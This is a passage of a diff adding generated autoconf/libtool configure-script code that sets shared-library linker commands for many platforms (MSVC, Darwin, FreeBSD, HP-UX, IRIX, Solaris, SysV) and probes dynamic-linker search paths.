using + # Microsoft Visual C++. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + case $cc_basename in + cl*) + # Native MSVC + hardcode_libdir_flag_spec=' ' + allow_undefined_flag=unsupported + always_export_symbols=yes + file_list_spec='@' + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=".dll" + # FIXME: Setting linknames here is a bad hack. + archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames=' + archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp; + else + sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp; + fi~ + $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~ + linknames=' + # The linker will not automatically build a static lib if we build a DLL. + # _LT_TAGVAR(old_archive_from_new_cmds, )='true' + enable_shared_with_static_runtimes=yes + exclude_expsyms='_NULL_IMPORT_DESCRIPTOR|_IMPORT_DESCRIPTOR_.*' + export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols' + # Don't use ranlib + old_postinstall_cmds='chmod 644 $oldlib' + postlink_cmds='lt_outputfile="@OUTPUT@"~ + lt_tool_outputfile="@TOOL_OUTPUT@"~ + case $lt_outputfile in + *.exe|*.EXE) ;; + *) + lt_outputfile="$lt_outputfile.exe" + lt_tool_outputfile="$lt_tool_outputfile.exe" + ;; + esac~ + if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then + $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1; + $RM "$lt_outputfile.manifest"; + fi' + ;; + *) + # Assume MSVC wrapper + hardcode_libdir_flag_spec=' ' + allow_undefined_flag=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=".dll" + # FIXME: Setting linknames here is a bad hack. + archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames=' + # The linker will automatically build a .lib file if we build a DLL. + old_archive_from_new_cmds='true' + # FIXME: Should let the user specify the lib program. + old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs' + enable_shared_with_static_runtimes=yes + ;; + esac + ;; + + darwin* | rhapsody*) + + + archive_cmds_need_lc=no + hardcode_direct=no + hardcode_automatic=yes + hardcode_shlibpath_var=unsupported + if test "$lt_cv_ld_force_load" = "yes"; then + whole_archive_flag_spec='`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience ${wl}-force_load,$conv\"; done; func_echo_all \"$new_convenience\"`' + + else + whole_archive_flag_spec='' + fi + link_all_deplibs=yes + allow_undefined_flag="$_lt_dar_allow_undefined" + case $cc_basename in + ifort*) _lt_dar_can_shared=yes ;; + *) _lt_dar_can_shared=$GCC ;; + esac + if test "$_lt_dar_can_shared" = "yes"; then + output_verbose_link_cmd=func_echo_all + archive_cmds="\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$libobjs \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring $_lt_dar_single_mod${_lt_dsymutil}" + module_cmds="\$CC \$allow_undefined_flag -o \$lib -bundle \$libobjs \$deplibs \$compiler_flags${_lt_dsymutil}" + archive_expsym_cmds="sed 's,^,_,' < \$export_symbols > \$output_objdir/\${libname}-symbols.expsym~\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$libobjs \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring ${_lt_dar_single_mod}${_lt_dar_export_syms}${_lt_dsymutil}" + module_expsym_cmds="sed -e 's,^,_,' < \$export_symbols > \$output_objdir/\${libname}-symbols.expsym~\$CC \$allow_undefined_flag -o \$lib -bundle \$libobjs \$deplibs \$compiler_flags${_lt_dar_export_syms}${_lt_dsymutil}" + + else + ld_shlibs=no + fi + + ;; + + dgux*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_shlibpath_var=no + ;; + + # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor + # support. Future versions do this automatically, but an explicit c++rt0.o + # does not break anything, and helps significantly (at the cost of a little + # extra space). + freebsd2.2*) + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + # Unfortunately, older versions of FreeBSD 2 do not have this feature. + freebsd2.*) + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes + hardcode_minus_L=yes + hardcode_shlibpath_var=no + ;; + + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | dragonfly*) + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + hpux9*) + if test "$GCC" = yes; then + archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + fi + hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' + hardcode_libdir_separator=: + hardcode_direct=yes + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + export_dynamic_flag_spec='${wl}-E' + ;; + + hpux10*) + if test "$GCC" = yes && test "$with_gnu_ld" = no; then + archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' + fi + if test "$with_gnu_ld" = no; then + hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' + hardcode_libdir_separator=: + hardcode_direct=yes + hardcode_direct_absolute=yes + export_dynamic_flag_spec='${wl}-E' + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + fi + ;; + + hpux11*) + if test "$GCC" = yes && test "$with_gnu_ld" = no; then + case $host_cpu in + hppa*64*) + archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + ia64*) + archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + else + case $host_cpu in + hppa*64*) + archive_cmds='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + ia64*) + archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + + # Older versions of the 11.00 compiler do not understand -b yet + # (HP92453-01 A.11.01.20 doesn't, HP92453-01 B.11.X.35175-35176.GP does) + { $as_echo "$as_me:${as_lineno-$LINENO}: checking if $CC understands -b" >&5 +$as_echo_n "checking if $CC understands -b... " >&6; } +if ${lt_cv_prog_compiler__b+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_prog_compiler__b=no + save_LDFLAGS="$LDFLAGS" + LDFLAGS="$LDFLAGS -b" + echo "$lt_simple_link_test_code" > conftest.$ac_ext + if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then + # The linker can only warn and ignore the option if not recognized + # So say no if there are warnings + if test -s conftest.err; then + # Append any errors to the config.log. + cat conftest.err 1>&5 + $ECHO "$_lt_linker_boilerplate" | $SED '/^$/d' > conftest.exp + $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 + if diff conftest.exp conftest.er2 >/dev/null; then + lt_cv_prog_compiler__b=yes + fi + else + lt_cv_prog_compiler__b=yes + fi + fi + $RM -r conftest* + LDFLAGS="$save_LDFLAGS" + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler__b" >&5 +$as_echo "$lt_cv_prog_compiler__b" >&6; } + +if test x"$lt_cv_prog_compiler__b" = xyes; then + archive_cmds='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' +else + archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' +fi + + ;; + esac + fi + if test "$with_gnu_ld" = no; then + hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' + hardcode_libdir_separator=: + + case $host_cpu in + hppa*64*|ia64*) + hardcode_direct=no + hardcode_shlibpath_var=no + ;; + *) + hardcode_direct=yes + hardcode_direct_absolute=yes + export_dynamic_flag_spec='${wl}-E' + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + ;; + esac + fi + ;; + + irix5* | irix6* | nonstopux*) + if test "$GCC" = yes; then + archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + # Try to use the -exported_symbol ld option, if it does not + # work, assume that -exports_file does not work either and + # implicitly export all symbols. + # This should be the same for all languages, so no per-tag cache variable. + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5 +$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; } +if ${lt_cv_irix_exported_symbol+:} false; then : + $as_echo_n "(cached) " >&6 +else + save_LDFLAGS="$LDFLAGS" + LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +int foo (void) { return 0; } +_ACEOF +if ac_fn_c_try_link "$LINENO"; then : + lt_cv_irix_exported_symbol=yes +else + lt_cv_irix_exported_symbol=no +fi +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext + LDFLAGS="$save_LDFLAGS" +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5 +$as_echo "$lt_cv_irix_exported_symbol" >&6; } + if test "$lt_cv_irix_exported_symbol" = yes; then + archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib' + fi + else + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib' + archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib' + fi + archive_cmds_need_lc='no' + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator=: + inherit_rpath=yes + link_all_deplibs=yes + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out + else + archive_cmds='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF + fi + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + newsos6) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator=: + hardcode_shlibpath_var=no + ;; + + *nto* | *qnx*) + ;; + + openbsd*) + if test -f /usr/libexec/ld.so; then + hardcode_direct=yes + hardcode_shlibpath_var=no + hardcode_direct_absolute=yes + if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' + hardcode_libdir_flag_spec='${wl}-rpath,$libdir' + export_dynamic_flag_spec='${wl}-E' + else + case $host_os in + openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*) + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec='-R$libdir' + ;; + *) + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec='${wl}-rpath,$libdir' + ;; + esac + fi + else + ld_shlibs=no + fi + ;; + + os2*) + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + allow_undefined_flag=unsupported + archive_cmds='$ECHO "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~echo DATA >> $output_objdir/$libname.def~echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' + old_archive_from_new_cmds='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' + ;; + + osf3*) + if test "$GCC" = yes; then + allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + allow_undefined_flag=' -expect_unresolved \*' + archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib' + fi + archive_cmds_need_lc='no' + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator=: + ;; + + osf4* | osf5*) # as osf3* with the addition of -msym flag + if test "$GCC" = yes; then + allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + else + allow_undefined_flag=' -expect_unresolved \*' + archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags -msym -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib' + archive_expsym_cmds='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; printf "%s\\n" "-hidden">> $lib.exp~ + $CC -shared${allow_undefined_flag} ${wl}-input ${wl}$lib.exp $compiler_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && $ECHO "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib~$RM $lib.exp' + + # Both c and cxx compiler support -rpath directly + hardcode_libdir_flag_spec='-rpath $libdir' + fi + archive_cmds_need_lc='no' + hardcode_libdir_separator=: + ;; + + solaris*) + no_undefined_flag=' -z defs' + if test "$GCC" = yes; then + wlarc='${wl}' + archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ + $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp' + else + case `$CC -V 2>&1` in + *"Compilers 5.0"*) + wlarc='' + archive_cmds='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$RM $lib.exp' + ;; + *) + wlarc='${wl}' + archive_cmds='$CC -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ + $CC -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp' + ;; + esac + fi + hardcode_libdir_flag_spec='-R$libdir' + hardcode_shlibpath_var=no + case $host_os in + solaris2.[0-5] | solaris2.[0-5].*) ;; + *) + # The compiler driver will combine and reorder linker options, + # but understands `-z linker_flag'. GCC discards it without `$wl', + # but is careful enough not to reorder. + # Supported since Solaris 2.6 (maybe 2.5.1?) + if test "$GCC" = yes; then + whole_archive_flag_spec='${wl}-z ${wl}allextract$convenience ${wl}-z ${wl}defaultextract' + else + whole_archive_flag_spec='-z allextract$convenience -z defaultextract' + fi + ;; + esac + link_all_deplibs=yes + ;; + + sunos4*) + if test "x$host_vendor" = xsequent; then + # Use $CC to link under sequent, because it throws in some extra .o + # files that make .init and .fini sections work. + archive_cmds='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' + fi + hardcode_libdir_flag_spec='-L$libdir' + hardcode_direct=yes + hardcode_minus_L=yes + hardcode_shlibpath_var=no + ;; + + sysv4) + case $host_vendor in + sni) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes # is this really true??? + ;; + siemens) + ## LD is ld it makes a PLAMLIB + ## CC just makes a GrossModule. + archive_cmds='$LD -G -o $lib $libobjs $deplibs $linker_flags' + reload_cmds='$CC -r -o $output$reload_objs' + hardcode_direct=no + ;; + motorola) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=no #Motorola manual says yes, but my tests say they lie + ;; + esac + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var=no + ;; + + sysv4.3*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var=no + export_dynamic_flag_spec='-Bexport' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var=no + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ld_shlibs=yes + fi + ;; + + sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7* | sco3.2v5.0.[024]*) + no_undefined_flag='${wl}-z,text' + archive_cmds_need_lc=no + hardcode_shlibpath_var=no + runpath_var='LD_RUN_PATH' + + if test "$GCC" = yes; then + archive_cmds='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + ;; + + sysv5* | sco3.2v5* | sco5v6*) + # Note: We can NOT use -z defs as we might desire, because we do not + # link with -lc, and that would cause any symbols used from libc to + # always be unresolved, which means just about no library would + # ever link correctly. If we're not using GNU ld we use -z text + # though, which does catch some bad symbols but isn't as heavy-handed + # as -z defs. + no_undefined_flag='${wl}-z,text' + allow_undefined_flag='${wl}-z,nodefs' + archive_cmds_need_lc=no + hardcode_shlibpath_var=no + hardcode_libdir_flag_spec='${wl}-R,$libdir' + hardcode_libdir_separator=':' + link_all_deplibs=yes + export_dynamic_flag_spec='${wl}-Bexport' + runpath_var='LD_RUN_PATH' + + if test "$GCC" = yes; then + archive_cmds='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + ;; + + uts4*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_shlibpath_var=no + ;; + + *) + ld_shlibs=no + ;; + esac + + if test x$host_vendor = xsni; then + case $host in + sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + export_dynamic_flag_spec='${wl}-Blargedynsym' + ;; + esac + fi + fi + +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs" >&5 +$as_echo "$ld_shlibs" >&6; } +test "$ld_shlibs" = no && can_build_shared=no + +with_gnu_ld=$with_gnu_ld + + + + + + + + + + + + + + + +# +# Do we need to explicitly link libc? +# +case "x$archive_cmds_need_lc" in +x|xyes) + # Assume -lc should be added + archive_cmds_need_lc=yes + + if test "$enable_shared" = yes && test "$GCC" = yes; then + case $archive_cmds in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5 +$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; } +if ${lt_cv_archive_cmds_need_lc+:} false; then : + $as_echo_n "(cached) " >&6 +else + $RM conftest* + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$lt_prog_compiler_wl + pic_flag=$lt_prog_compiler_pic + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$allow_undefined_flag + allow_undefined_flag= + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1\""; } >&5 + (eval $archive_cmds 2\>\&1 \| $GREP \" -lc \" \>/dev/null 2\>\&1) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } + then + lt_cv_archive_cmds_need_lc=no + else + lt_cv_archive_cmds_need_lc=yes + fi + allow_undefined_flag=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $RM conftest* + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_archive_cmds_need_lc" >&5 +$as_echo "$lt_cv_archive_cmds_need_lc" >&6; } + archive_cmds_need_lc=$lt_cv_archive_cmds_need_lc + ;; + esac + fi + ;; +esac + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5 +$as_echo_n "checking dynamic linker characteristics... " >&6; } + +if test "$GCC" = yes; then + case $host_os in + darwin*) lt_awk_arg="/^libraries:/,/LR/" ;; + *) lt_awk_arg="/^libraries:/" ;; + esac + case $host_os in + mingw* | cegcc*) lt_sed_strip_eq="s,=\([A-Za-z]:\),\1,g" ;; + *) lt_sed_strip_eq="s,=/,/,g" ;; + esac + lt_search_path_spec=`$CC -print-search-dirs | awk $lt_awk_arg | $SED -e "s/^libraries://" -e $lt_sed_strip_eq` + case $lt_search_path_spec in + *\;*) + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + lt_search_path_spec=`$ECHO "$lt_search_path_spec" | $SED 's/;/ /g'` + ;; + *) + lt_search_path_spec=`$ECHO "$lt_search_path_spec" | $SED "s/$PATH_SEPARATOR/ /g"` + ;; + esac + # Ok, now we have the path, separated by spaces, we can step through it + # and add multilib dir if necessary. + lt_tmp_lt_search_path_spec= + lt_multi_os_dir=`$CC $CPPFLAGS $CFLAGS $LDFLAGS -print-multi-os-directory 2>/dev/null` + for lt_sys_path in $lt_search_path_spec; do + if test -d "$lt_sys_path/$lt_multi_os_dir"; then + lt_tmp_lt_search_path_spec="$lt_tmp_lt_search_path_spec $lt_sys_path/$lt_multi_os_dir" + else + test -d "$lt_sys_path" && \ + lt_tmp_lt_search_path_spec="$lt_tmp_lt_search_path_spec $lt_sys_path" + fi + done + lt_search_path_spec=`$ECHO "$lt_tmp_lt_search_path_spec" | awk ' +BEGIN {RS=" "; FS="/|\n";} { + lt_foo=""; + lt_count=0; + for (lt_i = NF; lt_i > 0; lt_i--) { + if ($lt_i != "" && $lt_i != ".") { + if ($lt_i == "..") { + lt_count++; + } else { + if (lt_count == 0) { + lt_foo="/" $lt_i lt_foo; + } else { + lt_count--; + } + } + } + } + if (lt_foo != "") { lt_freq[lt_foo]++; } + if (lt_freq[lt_foo] == 1) { print lt_foo; } +}'` + # AWK program above erroneously prepends '/' to C:/dos/paths + # for these hosts. + case $host_os in + mingw* | cegcc*) lt_search_path_spec=`$ECHO "$lt_search_path_spec" |\ + $SED 's,/\([A-Za-z]:\),\1,g'` ;; + esac + sys_lib_search_path_spec=`$ECHO "$lt_search_path_spec" | $lt_NL2SP` +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=".so" +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +case $host_os in +aix3*) + version_type=linux # correct to gnu/linux during the next big refactor + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='${libname}${release}${shared_ext}$major' + ;; + +aix[4-9]*) + version_type=linux # correct to gnu/linux during the next big refactor + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test "$host_cpu" = ia64; then + # AIX 5 supports IA64 + library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line `#! .'. This would cause the generated library to + # depend on `.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[01] | aix4.[01].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | ${CC} -E - | $GREP yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # AIX (on Power*) has no versioning support, so currently we can not hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + if test "$aix_use_runtimelinking" = yes; then + # If using run time linking (on AIX 4.2 or later) use lib.so + # instead of lib.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + else + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + 